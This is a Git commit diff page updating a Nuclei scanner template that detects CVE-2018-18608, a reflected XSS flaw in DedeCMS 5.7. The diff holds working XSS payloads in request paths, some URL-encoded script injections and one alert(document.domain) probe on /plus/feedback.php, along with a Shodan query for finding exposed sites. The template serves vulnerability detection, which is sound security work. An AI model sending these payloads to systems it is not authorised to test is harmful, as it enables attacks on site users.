daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update CVE-2018-18608.yaml

patch-1
Prince Chaddha 2022-05-20 00:21:59 +05:30 committed by GitHub
parent 716ff4ebef
commit a846f209eb
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

20
cves/2018/CVE-2018-18608.yaml
View File

@ -4,27 +4,29 @@ info:
name: DedeCMS V5.7 XSS name: DedeCMS V5.7 XSS
author: ritikchaddha author: ritikchaddha
severity: medium severity: medium
description: DedeCMS 5.7 SP2 allows XSS via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php. description: |
reference: | DedeCMS 5.7 SP2 allows XSS via the function named GetPageList defined in the include/datalistcp.class.php file that is used to display the page numbers list at the bottom of some templates, as demonstrated by the PATH_INFO to /member/index.php, /member/pm.php, /member/content_list.php, or /plus/feedback.php.
- https://nvd.nist.gov/vuln/detail/CVE-2018-18608 reference:
- https://github.com/ky-j/dedecms/issues/8 - https://github.com/ky-j/dedecms/issues/8
- https://nvd.nist.gov/vuln/detail/CVE-2018-18608
metadata:
verified: true
shodan-query: http.html:"power by dedecms"
tags: dedecms,xss,cve,cve2018 tags: dedecms,xss,cve,cve2018
requests: requests:
- method: GET - method: GET
path: path:
- "{{BaseURL}}/member/index.php/'autofocus/**/onmouseover=alert(1);a=%27%22%3e%22%2f%61%61%61%61%61%61%61%61%61%61%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%3c%61%3e?uid=dos1eep&action=guestbook&totalresult=2105&pageno=211))))" - "{{BaseURL}}/plus/feedback.php/rp4hu%27><script>alert%28document.domain%29<%2fscript>?aid=3"
- "{{BaseURL}}/member/pm.php/'autofocus/**/onmouseover=alert(1);a=%27%22%3e%22%2f%61%61%61%61%61%61%61%61%61%61%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%3c%61%3e?uid=dos1eep&action=guestbook&totalresult=2105&pageno=211))))"
- "{{BaseURL}}/member/content_list.php/'autofocus/**/onmouseover=alert(1);a=%27%22%3e%22%2f%61%61%61%61%61%61%61%61%61%61%3c%2f%61%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e%3c%61%3e?uid=dos1eep&action=guestbook&totalresult=2105&pageno=211))))"
- "{{BaseURL}}/plus/feedback.php/rp4hu%27%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e?aid=3"
stop-at-first-match: true
matchers-condition: and matchers-condition: and
matchers: matchers:
- type: word - type: word
part: body part: body
words: words:
- "<script>alert(1)</script>" - "'><script>alert(document.domain)</script>"
- "DedeCMS Error Warning!"
condition: and
- type: word - type: word
part: header part: header